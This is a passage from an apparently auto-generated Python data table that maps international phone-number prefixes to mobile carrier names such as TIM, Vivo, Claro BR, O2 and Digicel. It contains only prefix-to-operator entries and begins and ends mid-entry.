'life:)', 'ru': 'life:)'}, '553899168':{'en': 'TIM'}, '4476620':{'en': 'Premium O'}, '551699728':{'en': 'Vivo'}, '553499106':{'en': 'TIM'}, '553599995':{'en': 'Telemig Celular'}, '2169':{'en': 'Tunisie Telecom'}, '551498148':{'en': 'TIM'}, '553899164':{'en': 'TIM'}, '2165':{'en': 'Orange'}, '551498149':{'en': 'TIM'}, '2162':{'en': 'Ooredoo'}, '455251':{'en': 'Jay.net'}, '2344672':{'en': 'Starcomms'}, '2344671':{'en': 'Starcomms'}, '455252':{'en': 'Lebara Limited'}, '455255':{'en': 'CBB Mobil'}, '455254':{'en': 'SimService'}, '455257':{'en': 'SimService'}, '455256':{'en': 'SimService'}, '455259':{'en': '42 Telecom AB'}, '455258':{'en': 'YouSee'}, '2344679':{'en': 'Starcomms'}, '2344678':{'en': 'Starcomms'}, '553499229':{'en': 'TIM'}, '554799611':{'en': 'TIM'}, '554799613':{'en': 'TIM'}, '26263909':{'en': 'SFR'}, '553798419':{'en': 'Claro BR'}, '553798418':{'en': 'Claro BR'}, '33609':{'en': 'SFR'}, '33608':{'en': 'Orange France'}, '26263900':{'en': 'Orange'}, '26263901':{'en': 'Orange'}, '33607':{'en': 'Orange France'}, '26263903':{'en': 'Only'}, '479622':{'en': 'Telenor'}, '479623':{'en': 'Telenor'}, '33603':{'en': 'SFR'}, '26263907':{'en': 'Only'}, '324659':{'en': 'Lycamobile'}, '324654':{'en': 'Lycamobile'}, '324655':{'en': 'Lycamobile'}, '324656':{'en': 'Lycamobile'}, '324657':{'en': 'Lycamobile'}, '324651':{'en': 'Lycamobile'}, '324652':{'en': 'Lycamobile'}, '324653':{'en': 'Lycamobile'}, '347477':{'en': 'Orange'}, '554399165':{'en': 'Vivo'}, '554199191':{'en': 'Vivo'}, '554399164':{'en': 'Vivo'}, '347478':{'en': 'Orange'}, '551599106':{'en': 'Claro BR'}, '554199193':{'en': 'Vivo'}, '554399169':{'en': 'Vivo'}, '554199195':{'en': 'Vivo'}, '487285':{'en': 'T-Mobile'}, '487284':{'en': 'T-Mobile'}, '487287':{'en': 'T-Mobile'}, '487286':{'en': 'T-Mobile'}, '487281':{'en': 'T-Mobile'}, '487280':{'en': 'Mobyland'}, '487283':{'en': 'T-Mobile'}, '487282':{'en': 'T-Mobile'}, '47464':{'en': 'NetCom'}, '554199197':{'en': 'Vivo'}, '487288':{'en': 'T-Mobile'}, '551599103':{'en': 'Claro BR'}, '55479921':{'en': 'Vivo'}, '55479920':{'en': 'Vivo'}, '55479923':{'en': 'Vivo'}, '554199199':{'en': 'Vivo'}, '447708':{'en': 'O2'}, '553199359':{'en': 'TIM'}, '447709':{'en': 'O2'}, '553598445':{'en': 'Claro BR'}, '551699752':{'en': 'Vivo'}, '551699753':{'en': 'Vivo'}, '551699751':{'en': 'Vivo'}, '551699756':{'en': 'Vivo'}, '551699757':{'en': 'Vivo'}, '551699754':{'en': 'Vivo'}, '551699755':{'en': 'Vivo'}, '551699758':{'en': 'Vivo'}, '551699759':{'en': 'Vivo'}, '4474572':{'en': 'Marathon Telecom'}, '4474574':{'en': 'Voicetec'}, '4474576':{'en': 'Sure'}, '4474577':{'en': 'Spacetel'}, '4474578':{'en': 'CardBoardFish'}, '4474579':{'en': 'CardBoardFish'}, '551999626':{'en': 'Vivo'}, '552899998':{'en': 'Vivo'}, '552899991':{'en': 'Vivo'}, '552899993':{'en': 'Vivo'}, '552899992':{'en': 'Vivo'}, '552899995':{'en': 'Vivo'}, '552899994':{'en': 'Vivo'}, '552899997':{'en': 'Vivo'}, '552899996':{'en': 'Vivo'}, '554598801':{'en': 'Claro BR'}, '554598803':{'en': 'Claro BR'}, '554598802':{'en': 'Claro BR'}, '554598805':{'en': 'Claro BR'}, '554598804':{'en': 'Claro BR'}, '554598807':{'en': 'Claro BR'}, '34650':{'en': 'Movistar'}, '554598809':{'en': 'Claro BR'}, '554598808':{'en': 'Claro BR'}, '34659':{'en': 'Movistar'}, '514194171':{'en': 'Claro'}, '514194170':{'en': 'Claro'}, '514194173':{'en': 'Claro'}, '514194172':{'en': 'Claro'}, '553499104':{'en': 'TIM'}, '55139881':{'en': 'Oi'}, '553499107':{'en': 'TIM'}, '553299103':{'en': 'TIM'}, '55279960':{'en': 'Vivo'}, '553299105':{'en': 'TIM'}, '553299104':{'en': 'TIM'}, '553299107':{'en': 'TIM'}, '553299106':{'en': 'TIM'}, '35383':{'en': '3'}, '35386':{'en': 'O2'}, '35387':{'en': 'Vodafone'}, '35385':{'en': 'Meteor'}, '35388':{'en': 'eMobile'}, '35389':{'en': 'Tesco Mobile'}, '34686':{'en': 'Movistar'}, '34687':{'en': 'Vodafone'}, '34680':{'en': 'Movistar'}, '553499109':{'en': 'TIM'}, '30692354':{'en': 'Premium Net International'}, '22573':{'en': 'Moov'}, '22572':{'en': 'Moov'}, '4474390':{'en': 'TalkTalk'}, '4474391':{'en': 'TalkTalk'}, '4474392':{'en': 'TalkTalk'}, '4474393':{'en': 'TalkTalk'}, '22579':{'en': 'Orange'}, '22578':{'en': 'Orange'}, '34683':{'en': 'Movistar'}, '267775':{'en': 'Orange'}, '267774':{'en': 'Orange'}, '267777':{'en': 'Mascom'}, '267776':{'en': 'Mascom'}, '267771':{'en': 'Mascom'}, '267770':{'en': 'Mascom'}, '383461':{'en': 'Z Mobile'}, '267778':{'en': 'Mascom'}, '551999629':{'en': 'Vivo'}, '551298126':{'en': 'TIM'}, '551298127':{'en': 'TIM'}, '551298124':{'en': 'TIM'}, '551298125':{'en': 'TIM'}, '22799':{'en': 'Airtel'}, '22798':{'en': 'Airtel'}, '551298121':{'en': 'TIM'}, '22795':{'en': 'Moov'}, '22794':{'en': 'Moov'}, '22797':{'en': 'Airtel'}, '22796':{'en': 'Airtel'}, '22791':{'en': 'Orange'}, '22790':{'en': 'Orange'}, '551298128':{'en': 'TIM'}, '22792':{'en': 'Orange'}, '447847':{'en': 'EE'}, '447846':{'en': 'Three'}, '554198411':{'en': 'Brasil Telecom GSM'}, '554198416':{'en': 'Brasil Telecom GSM'}, '554198417':{'en': 'Brasil Telecom GSM'}, '554198414':{'en': 'Brasil Telecom GSM'}, '554198415':{'en': 'Brasil Telecom GSM'}, '554198418':{'en': 'Brasil Telecom GSM'}, '554198419':{'en': 'Brasil Telecom GSM'}, '447848':{'en': 'Three'}, '2305421':{'en': 'Emtel'}, '2305423':{'en': 'Emtel'}, '2305422':{'en': 'Emtel'}, '2305429':{'en': 'Emtel'}, '2305428':{'en': 'Emtel'}, '553599957':{'en': 'Telemig Celular'}, '553599956':{'en': 'Telemig Celular'}, '553599955':{'en': 'Telemig Celular'}, '553599954':{'en': 'Telemig Celular'}, '553599953':{'en': 'Telemig Celular'}, '553599952':{'en': 'Telemig Celular'}, '553599951':{'en': 'Telemig Celular'}, '55119619':{'en': 'Vivo'}, '55119617':{'en': 'Claro BR'}, '372545':{'en': 'Elisa'}, '553599959':{'en': 'Telemig Celular'}, '553599958':{'en': 'Telemig Celular'}, '551799738':{'en': 'Vivo'}, '51198040':{'en': 'Claro'}, '554399189':{'en': 'Vivo'}, '554399188':{'en': 'Vivo'}, '554399181':{'en': 'Vivo'}, '554399183':{'en': 'Vivo'}, '554399182':{'en': 'Vivo'}, '554399185':{'en': 'Vivo'}, '554399184':{'en': 'Vivo'}, '554399187':{'en': 'Vivo'}, '554399186':{'en': 'Vivo'}, '549232':{'en': 'Personal'}, '25228':{'en': 'Nationlink'}, '386696':{'en': 'HoT'}, '25224':{'en': 'Telesom'}, '386699':{'en': 'HoT'}, '55439998':{'en': 'TIM'}, '1939969':{'en': 'CENTENNIAL'}, '553199181':{'en': 'TIM'}, '3465229':{'en': 'MasMovil'}, '55439991':{'en': 'TIM'}, '55439992':{'en': 'TIM'}, '55439995':{'en': 'TIM'}, '1939212':{'en': 'CENTENNIAL'}, '55439997':{'en': 'TIM'}, '233561':{'en': 'Airtel'}, '554198413':{'en': 'Brasil Telecom GSM'}, '505837':{'en': 'Movistar'}, '45718':{'en': 'Lycamobile Denmark Ltd'}, '459119':{'en': 'Lebara Limited'}, '553199186':{'en': 'TIM'}, '45712':{'en': 'CBB Mobil'}, '45713':{'en': 'Lycamobile Denmark Ltd'}, '459110':{'en': 'Lebara Limited'}, '459111':{'en': 'Lebara Limited'}, '45716':{'en': 'Lycamobile Denmark Ltd'}, '459117':{'en': 'Companymobile'}, '45714':{'en': 'Lycamobile Denmark Ltd'}, '45715':{'en': 'Lycamobile Denmark Ltd'}, '553199189':{'en': 'TIM'}, '553199324':{'en': 'TIM'}, '554298871':{'en': 'Claro BR'}, '554298870':{'en': 'Claro BR'}, '554298873':{'en': 'Claro BR'}, '554298872':{'en': 'Claro BR'}, '554298874':{'en': 'Claro BR'}, '553899109':{'en': 'TIM'}, '26139':{'en': 'Blueline'}, '554699124':{'en': 'Vivo'}, '554699125':{'en': 'Vivo'}, '346681':{'en': 'Truphone'}, '554699127':{'en': 'Vivo'}, '346686':{'en': 'Parlem'}, '346685':{'en': 'Carrefour'}, '553199329':{'en': 'TIM'}, '346688':{'en': 'Parlem'}, '554699128':{'en': 'Vivo'}, '554699129':{'en': 'Vivo'}, '552299287':{'en': 'Claro BR'}, '552299286':{'en': 'Claro BR'}, '552299285':{'en': 'Claro BR'}, '505833':{'en': 'Claro'}, '22898':{'en': 'Moov'}, '22899':{'en': 'Moov'}, '553199878':{'en': 'Telemig Celular'}, '553199879':{'en': 'Telemig Celular'}, '22892':{'en': 'TOGOCEL'}, '22893':{'en': 'TOGOCEL'}, '22890':{'en': 'TOGOCEL'}, '22891':{'en': 'TOGOCEL'}, '22896':{'en': 'Moov'}, '22897':{'en': 'TOGOCEL'}, '553199872':{'en': 'Telemig Celular'}, '553199873':{'en': 'Telemig Celular'}, '553199724':{'en': 'Telemig Celular'}, '553199725':{'en': 'Telemig Celular'}, '347228':{'en': 'Yoigo'}, '553199721':{'en': 'Telemig Celular'}, '553199722':{'en': 'Telemig Celular'}, '553199723':{'en': 'Telemig Celular'}, '347222':{'en': 'Yoigo'}, '347223':{'en': 'Yoigo'}, '347221':{'en': 'Yoigo'}, '347226':{'en': 'Yoigo'}, '347227':{'en': 'Yoigo'}, '347224':{'en': 'Yoigo'}, '1767245':{'en': 'Cable & Wireless'}, '187639':{'en': 'Digicel'}, '187638':{'en': 'Digicel'}, '187630':{'en': 'Digicel'}, '187637':{'en': 'Digicel'}, '187636':{'en': 'Digicel'}, '187635':{'en': 'Digicel'}, '1684733':{'en': 'ASTCA'}, '1684731':{'en': 'ASTCA'}, '553199275':{'en': 'TIM'}, '553899993':{'en': 'Telemig Celular'}, '5037795':{'en': 'Tigo'}, '5037796':{'en': 'Tigo'}, '55459910':{'en': 'Vivo'}, '447536':{'en': 'Orange'}, '447535':{'en': 'EE'}, '5037797':{'en': 'Tigo'}, '447533':{'en': 'Three'}, '447532':{'en': 'Orange'}, '447531':{'en': 'Orange'}, '447530':{'en': 'Orange'}, '502520':{'en': 'Tigo'}, '5037790':{'en': 'Movistar'}, '25073':{'en': 'Airtel'}, '447539':{'en': 'EE'}, '5037791':{'en': 'Movistar'}, '24499':{'en': 'Movicel'}, '25072':{'en': 'TIGO'}, '5037792':{'en': 'Movistar'}, '24491':{'en': 'Movicel'}, '24492':{'en': 'UNITEL'}, '5037793':{'en': 'Movistar'}, '24494':{'en': 'UNITEL'}, '4475091':{'en': 'JT'}, '553599902':{'en': 'Telemig Celular'}, '30691600':{'en': 'Compatel'}, '554599139':{'en': 'Vivo'}, '1268713':{'en': 'Digicel'}, '1268716':{'en': 'Digicel'}, '1268717':{'en': 'Digicel'}, '1268714':{'en': 'Digicel'}, '1268715':{'en': 'Digicel'}, '1268718':{'en': 'Digicel'}, '1268719':{'en': 'Digicel'}, '553599908':{'en': 'Telemig Celular'}, '346042':{'en': 'Lebara'}, '474728':{'en': 'Tele2'}, '474729':{'en': 'Tele2'}, '3519243':{'en': 'MEO'}, '3519242':{'en': 'MEO'}, '3519241':{'en': 'MEO'}, '3519240':{'en': 'MEO'}, '474724':{'en': 'Tele2'}, '474725':{'en': 'Tele2'}, '474726':{'en': 'Tele2'}, '3519244':{'en': 'MEO'}, '4478648':{'en': 'O2'}, '4478649':{'en': 'O2'}, '4478642':{'en': 'O2'}, '4478643':{'en': 'O2'}, '4478640':{'en': 'O2'}, '4478641':{'en': 'O2'}, '4478646':{'en': 'O2'}, '4478647':{'en': 'O2'}, '4478645':{'en': 'O2'}, '554399175':{'en': 'Vivo'}, '26263962':{'en': 'Orange'}, '2346277':{'en': 'Starcomms'}, '2346279':{'en': 'Starcomms'}, '2346278':{'en': 'Starcomms'}, '554399176':{'en': 'Vivo'}, '552798156':{'en': 'TIM'}, '551699796':{'en': 'Vivo'}, '389763':{'en': 'Vip'}, '389762':{'en': 'Vip'}, '389765':{'en': 'Vip'}, '389764':{'en': 'Vip'}, '389767':{'en': 'Vip'}, '389766':{'en': 'Vip'}, '389769':{'en': 'Vip'}, '389768':{'en': 'Vip'}, '551699794':{'en': 'Vivo'}, '551699793':{'en': 'Vivo'}, '1787374':{'en': 'Claro'}, '552899966':{'en': 'Vivo'}, '336363':{'en': 'SFR'}, '336362':{'en': 'SFR'}, '336361':{'en': 'SFR'}, '336360':{'en': 'SFR'}, '336364':{'en': 'SFR'}, '553199261':{'en': 'TIM'}, '553199263':{'en': 'TIM'}, '553199262':{'en': 'TIM'}, '553199265':{'en': 'TIM'}, '553199264':{'en': 'TIM'}, '553199267':{'en': 'TIM'}, '553199266':{'en': 'TIM'}, '553199269':{'en': 'TIM'}, '553199268':{'en': 'TIM'}, '553899197':{'en': 'TIM'}, '458182':{'en': 'Polperro'}, '458180':{'en': 'ipvision'}, '458181':{'en': 'Maxtel.dk'}, '552899968':{'en': 'Vivo'}, '458188':{'en': 'ipvision'}, '552198381':{'en': 'TIM'}, '1787203':{'en': 'Claro'}, '230586':{'en': 'MTML'}, '230584':{'en': 'Emtel'}, '230585':{'en': 'Emtel'}, '230582':{'en': 'Cellplus'}, '230583':{'en': 'Cellplus'}, '230580':{'en': 'Cellplus'}, '230581':{'en': 'Cellplus'}, '230589':{'en': 'MTML'}, '55319823':{'en': 'Claro BR'}, '55319822':{'en': 'Claro BR'}, '55319821':{'en': 'Claro BR'}, '55319820':{'en': 'Claro BR'}, '1345550':{'en': 'Digicel'}, '553499203':{'en': 'TIM'}, '455277':{'en': 'CBB Mobil'}, '553499205':{'en': 'TIM'}, '553499206':{'en': 'TIM'}, '553499207':{'en': 'TIM'}, '25299':{'en': 'STG'}, '25295':{'en': 'STG'}, '25294':{'en': 'STG'}, '25297':{'en': 'STG'}, '479609':{'en': 'Telenor'}, '25296':{'en': 'STG'}, '26269241':{'en': 'Orange'}, '26269240':{'en': 'Orange'}, '26269243':{'en': 'Orange'}, '30695499':{'en': 'M-STAT'}, '26263926':{'en': 'Only'}, '479601':{'en': 'Telenor'}, '147353':{'en': 'AWS Grenada'}, '479604':{'en': 'Telenor'}, '30695490':{'en': 'MI Carrier Services'}, '45818':{'en': 'CBB Mobil'}, '48535':{'en': 'Play'}, '45816':{'en': 'CBB Mobil'}, '45811':{'en': 'CBB Mobil'}, '48530':{'en': 'Play'}, '48533':{'en': 'Play'}, '48532':{'en': 'T-Mobile'}, '55249995':{'en': 'Vivo'}, '55249994':{'en': 'Vivo'}, '55249997':{'en': 'Vivo'}, '55249996':{'en': 'Vivo'}, '55249991':{'en': 'Vivo'}, '1246883':{'en': 'Digicel'}, '1876276':{'en': 'Digicel'}, '1876277':{'en': 'Digicel'}, '1876278':{'en': 'Digicel'}, '1876279':{'en': 'Digicel'}, '55249999':{'en': 'Vivo'}, '55249998':{'en': 'Vivo'}, '503602':{'en': 'Tigo'}, '551899768':{'en': 'Vivo'}, '514294202':{'en': 'Movistar'}, '514294200':{'en': 'Movistar'}, '514294201':{'en': 'Movistar'}, '55439990':{'en': 'TIM'}, '30685505':{'en': 'Cyta'}, '554199235':{'en': 'Vivo'}, '55389998':{'en': 'Telemig Celular'}, '554199234':{'en': 'Vivo'}, '55389992':{'en': 'Telemig Celular'}, '37061':{'en': 'Omnitel'}, '55389991':{'en': 'Telemig Celular'}, '55389996':{'en': 'Telemig Celular'}, '55389997':{'en': 'Telemig Celular'}, '55389994':{'en': 'Telemig Celular'}, '30685500':{'en': 'Cyta'}, '55229975':{'en': 'Vivo'}, '55229974':{'en': 'Vivo'}, '554199236':{'en': 'Vivo'}, '55229971':{'en': 'Vivo'}, '55229970':{'en': 'Vivo'}, '55229973':{'en': 'Vivo'}, '55229972':{'en': 'Vivo'}, '26263904':{'en': 'Only'}, '554199231':{'en': 'Vivo'}, '554698821':{'en': 'Claro BR'}, '55449885':{'en': 'Claro BR'}, '55449884':{'en': 'Claro BR'}, '554598825':{'en': 'Claro BR'}, '554598824':{'en': 'Claro BR'}, '55449881':{'en': 'Claro BR'}, '554199233':{'en': 'Vivo'}, '55449883':{'en': 'Claro BR'}, '55449882':{'en': 'Claro BR'}, '554599963':{'en': 'TIM'}, '554598829':{'en': 'Claro BR'}, '554598828':{'en': 'Claro BR'}, '554599962':{'en': 'TIM'}, '553299129':{'en': 'TIM'}, '553299128':{'en': 'TIM'}, '553299127':{'en': 'TIM'}, '553299126':{'en': 'TIM'}, '553299125':{'en': 'TIM'}, '553299124':{'en': 'TIM'}, '553299123':{'en': 'TIM'}, '553299122':{'en': 'TIM'}, '553299121':{'en': 'TIM'}, '447490':{'en': 'Three'}, '447491':{'en': 'Three'}, '447492':{'en': 'Three'}, '447493':{'en': 'Vodafone'}, '55219734':{'en': 'Claro BR'}, '447499':{'en': 'O2'}, '55219736':{'en': 'Claro BR'}, '55219730':{'en': 'Claro BR'}, '55219731':{'en': 'Claro BR'}, '55219732':{'en': 'Claro BR'}, '55219733':{'en': 'Claro BR'}, '551699778':{'en': 'Vivo'}, '554599969':{'en': 'TIM'}, '2343964':{'en': 'Starcomms'}, '2343965':{'en': 'Starcomms'}, '26263906':{'en': 'Only'}, '2343963':{'en': 'Starcomms'}, '2343961':{'en': 'Starcomms'}, '551699770':{'en': 'Vivo'}, '551699771':{'en': 'Vivo'}, '551699772':{'en': 'Vivo'}, '551699773':{'en': 'Vivo'}, '551699774':{'en': 'Vivo'}, '551699775':{'en': 'Vivo'}, '551699776':{'en': 'Vivo'}, '551699777':{'en': 'Vivo'}, '551799717':{'en': 'Vivo'}, '22559':{'en': 'Orange'}, '22558':{'en': 'Orange'}, '22557':{'en': 'Orange'}, '22556':{'en': 'MTN'}, '22555':{'en': 'MTN'}, '22554':{'en': 'MTN'}, '22553':{'en': 'Moov'}, '22552':{'en': 'Moov'}, '22551':{'en': 'Moov'}, '22550':{'en': 'Moov'}, '553499812':{'en': 'Telemig Celular'}, '267759':{'en': 'Mascom'}, '267758':{'en': 'BTC Mobile'}, '267757':{'en': 'Orange'}, '267756':{'en': 'Mascom'}, '267755':{'en': 'Mascom'}, '267754':{'en': 'Mascom'}, '267753':{'en': 'Orange'}, '267752':{'en': 'Orange'}, '267751':{'en': 'Orange'}, '267750':{'en': 'Orange'}, '554599151':{'en': 'Vivo'}, '554599152':{'en': 'Vivo'}, '554599153':{'en': 'Vivo'}, '554599154':{'en': 'Vivo'}, '554599155':{'en': 'Vivo'}, '554599156':{'en': 'Vivo'}, '554599157':{'en': 'Vivo'}, '554599158':{'en': 'Vivo'}, '26269322':{'en': 'Orange'}, '554198438':{'en': 'Brasil Telecom GSM'}, '554198439':{'en': 'Brasil Telecom GSM'}, '514394335':{'en': 'Claro'}, '514394334':{'en': 'Claro'}, '554198432':{'en': 'Brasil Telecom GSM'}, '554198433':{'en': 'Brasil Telecom GSM'}, '514394331':{'en': 'Claro'}, '514394330':{'en': 'Claro'}, '514394333':{'en': 'Claro'}, '514394332':{'en': 'Claro'}, '447821':{'en': 'O2'}, '447820':{'en': 'O2'}, '447823':{'en': 'Vodafone'}, '447825':{'en': 'Vodafone'}, '447824':{'en': 'Vodafone'}, '447827':{'en': 'Vodafone'}, '447826':{'en': 'Vodafone'}, '447828':{'en': 'Three'}, '1939645':{'en': 'CENTENNIAL'}, '1939644':{'en': 'CENTENNIAL'}, '1939642':{'en': 'CENTENNIAL'}, '1939640':{'en': 'CENTENNIAL'}, '553599939':{'en': 'Telemig Celular'}, '553599938':{'en': 'Telemig Celular'}, '553599935':{'en': 'Telemig Celular'}, '553599934':{'en': 'Telemig Celular'}, '553599937':{'en': 'Telemig Celular'}, '553599936':{'en': 'Telemig Celular'}, '553599931':{'en': 'Telemig Celular'}, '553599933':{'en': 'Telemig Celular'}, '553599932':{'en': 'Telemig Celular'}, '186829':{'en': 'bmobile'}, '186828':{'en': 'bmobile'}, '186827':{'en': 'bmobile'}, '515495896':{'en': 'Claro'}, '51519518':{'en': 'Movistar'}, '51519514':{'en': 'Movistar'}, '51519517':{'en': 'Claro'}, '51519516':{'en': 'Movistar'}, '51519511':{'en': 'Claro'}, '51519510':{'en': 'Movistar'}, '51519513':{'en': 'Claro'}, '51519512':{'en': 'Claro'}, '306908':{'en': 'Wind'}, '306909':{'en': 'Wind'}, '517697695':{'en': 'Movistar'}, '306900':{'en': 'BWS'}, '515495890':{'en': 'Movistar'}, '306906':{'en': 'Wind'}, '306907':{'en': 'Wind'}, '25248':{'en': 'AirSom'}, '25249':{'en': 'AirSom'}, '551999762':{'en': 'Vivo'}, '551999763':{'en': 'Vivo'}, '551999761':{'en': 'Vivo'}, '551999766':{'en': 'Vivo'}, '551999767':{'en': 'Vivo'}, '551999764':{'en': 'Vivo'}, '551999765':{'en': 'Vivo'}, '551999768':{'en': 'Vivo'}, '551999769':{'en': 'Vivo'}, '516196171':{'en': 'Claro'}, '516196170':{'en': 'Claro'}, '5025911':{'en': 'Telgua'}, '5025910':{'en': 'Telgua'}, '5025913':{'en': 'Telgua'}, '5025912':{'en': 'Telgua'}, '5025915':{'en': 'Movistar'}, '5025914':{'en': 'Telgua'}, '5025917':{'en': 'Movistar'}, '5025916':{'en': 'Movistar'}, '5025919':{'en': 'Tigo'}, '5025918':{'en': 'Tigo'}, '552498112':{'en': 'TIM'}, '552498113':{'en': 'TIM'}, '552498111':{'en': 'TIM'}, '552498116':{'en': 'TIM'}, '552498117':{'en': 'TIM'}, '45812':{'en': 'CBB Mobil'}, '552498115':{'en': 'TIM'}, '552498118':{'en': 'TIM'}, '552498119':{'en': 'TIM'}, '1264772':{'en': 'Cable & Wireless'}, '554498427':{'en': 'Brasil Telecom GSM'}, '553199618':{'en': 'Telemig Celular'}, '553199619':{'en': 'Telemig Celular'}, '50670011':{'en': 'Claro'}, '50670010':{'en': 'Claro'}, '50670013':{'en': 'Claro'}, '50670012':{'en': 'Claro'}, '50670014':{'en': 'Claro'}, '553199892':{'en': 'Telemig Celular'}, '553199893':{'en': 'Telemig Celular'}, '553199891':{'en': 'Telemig Celular'}, '459130':{'en': 'MobiWeb Limited'}, '553199897':{'en': 'Telemig Celular'}, '553199894':{'en': 'Telemig Celular'}, '553199895':{'en': 'Telemig Celular'}, '553199898':{'en': 'Telemig Celular'}, '553199899':{'en': 'Telemig Celular'}, '346404':{'en': 'MasMovil'}, '55249963':{'en': 'Vivo'}, '553199614':{'en': 'Telemig Celular'}, '553199615':{'en': 'Telemig Celular'}, '479297':{'en': 'NetCom'}, '553199616':{'en': 'Telemig Celular'}, '553199617':{'en': 'Telemig Celular'}, '553799919':{'en': 'Telemig Celular'}, '553799918':{'en': 'Telemig Celular'}, '553799915':{'en': 'Telemig Celular'}, '553799914':{'en': 'Telemig Celular'}, '553799917':{'en': 'Telemig Celular'}, '553799916':{'en': 'Telemig Celular'}, '553799911':{'en': 'Telemig Celular'}, '553799913':{'en': 'Telemig Celular'}, '553799912':{'en': 'Telemig Celular'}, '447551':{'en': 'Vodafone'}, '447550':{'en': 'EE'}, '447553':{'en': 'Vodafone'}, '447552':{'en': 'Vodafone'}, '447555':{'en': 'Vodafone'}, '447554':{'en': 'Vodafone'}, '447557':{'en': 'Vodafone'}, '447556':{'en': 'Orange'}, '479479':{'en': 'Telenor'}, '479478':{'en': 'Telenor'}, '479477':{'en': 'Telenor'}, '479476':{'en': 'Telenor'}, '479475':{'en': 'Telenor'}, '479474':{'en': 'Telenor'}, '553199919':{'en': 'Telemig Celular'}, '447396':{'en': 'EE'}, '212696':{'en': 'Maroc Telecom'}, '212697':{'en': 'Maroc Telecom'}, '212694':{'en': u('M\u00e9ditel')}, '212695':{'en': 'Inwi'}, '212693':{'en': u('M\u00e9ditel')}, '212690':{'en': 'Inwi'}, '212691':{'en': u('M\u00e9ditel')}, '212698':{'en': 'Inwi'}, '212699':{'en': 'Inwi'}, '554799941':{'en': 'TIM'}, '474740':{'en': 'Telenor'}, '554799942':{'en': 'TIM'}, '474746':{'en': 'Telenor'}, '554799944':{'en': 'TIM'}, '474744':{'en': 'NetCom'}, '554799946':{'en': 'TIM'}, '554799949':{'en': 'TIM'}, '554799948':{'en': 'TIM'}, '551498121':{'en': 'TIM'}, '502540':{'en': 'Movistar'}, '551498123':{'en': 'TIM'}, '551498124':{'en': 'TIM'}, '551498125':{'en': 'TIM'}, '551498126':{'en': 'TIM'}, '551498127':{'en': 'TIM'}, '551498128':{'en': 'TIM'}, '551498129':{'en': 'TIM'}, '553199348':{'en': 'TIM'}, '23891':{'en': 'T+'}, '23326':{'en': 'Airtel'}, '503767':{'en': 'Tigo'}, '23892':{'en': 'T+'}, '23895':{'en': 'CVMOVEL'}, '23897':{'en': 'CVMOVEL'}, '23320':{'en': 'Vodafone'}, '23899':{'en': 'CVMOVEL'}, '23898':{'en': 'CVMOVEL'}, '336045':{'en': 'SFR'}, '503768':{'en': 'Tigo'}, '23328':{'en': 'Expresso'}, '50366116':{'en': 'Movistar'}, '554699975':{'en': 'TIM'}, '553199349':{'en': 'TIM'}, '553899998':{'en': 'Telemig Celular'}, '551699962':{'en': 'Vivo'}, '436778':{'en': 'T-Mobile AT'}, '34682':{'en': 'Movistar'}, '3465529':{'en': 'DIA'}, '553899991':{'en': 'Telemig Celular'}, '1284440':{'en': 'CCT'}, '1284441':{'en': 'CCT'}, '1284442':{'en': 'CCT'}, '1284443':{'en': 'CCT'}, '1284444':{'en': 'CCT'}, '1284445':{'en': 'CCT'}, '1284446':{'en': 'CCT'}, '507687':{'en': 'Cable & Wireless'}, '507684':{'en': 'Cable & Wireless'}, '553199309':{'en': 'TIM'}, '507680':{'en': 'Cable & Wireless'}, '553199302':{'en': 'TIM'}, '553199303':{'en': 'TIM'}, '553199301':{'en': 'TIM'}, '553199306':{'en': 'TIM'}, '553199307':{'en': 'TIM'}, '507688':{'en': 'Cable & Wireless'}, '553199305':{'en': 'TIM'}, '553899997':{'en': 'Telemig Celular'}, '4478228':{'en': 'Vodafone'}, '55199961':{'en': 'Vivo'}, '4478229':{'en': 'Oxygen8'}, '551698118':{'en': 'TIM'}, '551398128':{'en': 'TIM'}, '491578':{'en': 'Eplus'}, '491579':{'en': 'Eplus/Sipgate'}, '5519991':{'en': 'Claro BR'}, '5519993':{'en': 'Claro BR'}, '5519992':{'en': 'Claro BR'}, '491570':{'en': 'Eplus/Telogic'}, '491573':{'en': 'Eplus'}, '491575':{'en': 'Eplus'}, '491577':{'en': 'Eplus'}, '517396950':{'en': 'Movistar'}, '517396951':{'en': 'Movistar'}, '517396952':{'en': 'Movistar'}, '517396953':{'en': 'Movistar'}, '517396954':{'en': 'Movistar'}, '517396955':{'en': 'Movistar'}, '517396956':{'en': 'Movistar'}, '517396957':{'en': 'Movistar'}, '4476402':{'en': 'FIO Telecom'}, '4476403':{'en': 'PageOne'}, '4476400':{'en': 'Core Telecom'}, '1939697':{'en': 'CENTENNIAL'}, '4476406':{'en': 'PageOne'}, '4476407':{'en': 'PageOne'}, '4476404':{'en': 'PageOne'}, '553199163':{'en': 'TIM'}, '55479998':{'en': 'TIM'}, '359996':{'en': 'Bulsatcom'}, '5037780':{'en': 'Movistar'}, '447882':{'en': 'Three'}, '40772':{'en': 'Digi Mobil'}, '553599191':{'en': 'TIM'}, '553899995':{'en': 'Telemig Celular'}, '1787226':{'en': 'SunCom Wireless Puerto Rico'}, '1787227':{'en': 'CENTENNIAL'}, '1787224':{'en': 'CENTENNIAL'}, '1787225':{'en': 'SunCom Wireless Puerto Rico'}, '1787222':{'en': 'CENTENNIAL'}, '1787223':{'en': 'CENTENNIAL'}, '1787220':{'en': 'CENTENNIAL'}, '1787221':{'en': 'CENTENNIAL'}, '553599197':{'en': 'TIM'}, '447886':{'en': 'Three'}, '447885':{'en': 'O2'}, '447889':{'en': 'O2'}, '553599198':{'en': 'TIM'}, '4475379':{'en': 'Three'}, '4475378':{'en': 'Three'}, '474104':{'en': 'NetCom'}, '474106':{'en': 'NetCom'}, '2341883':{'en': 'Starcomms'}, '2341882':{'en': 'Starcomms'}, '2341881':{'en': 'Starcomms'}, '2341880':{'en': 'Starcomms'}, '1939394':{'en': 'CENTENNIAL'}, '554399156':{'en': 'Vivo'}, '553199939':{'en': 'Telemig Celular'}, '553199938':{'en': 'Telemig Celular'}, '553199931':{'en': 'Telemig Celular'}, '553199933':{'en': 'Telemig Celular'}, '553199932':{'en': 'Telemig Celular'}, '553199935':{'en': 'Telemig Celular'}, '553199934':{'en': 'Telemig Celular'}, '553199937':{'en': 'Telemig Celular'}, '553199936':{'en': 'Telemig Celular'}, '554399157':{'en': 'Vivo'}, '514494804':{'en': 'Movistar'}, '514494802':{'en': 'Movistar'}, '3069601':{'en': 'OTE'}, '514494803':{'en': 'Movistar'}, '351926':{'en': 'MEO'}, '351927':{'en': 'MEO'}, '351925':{'en': 'MEO'}, '351921':{'en': 'Vodafone'}, '346348':{'en': 'Vodafone'}, '346349':{'en': 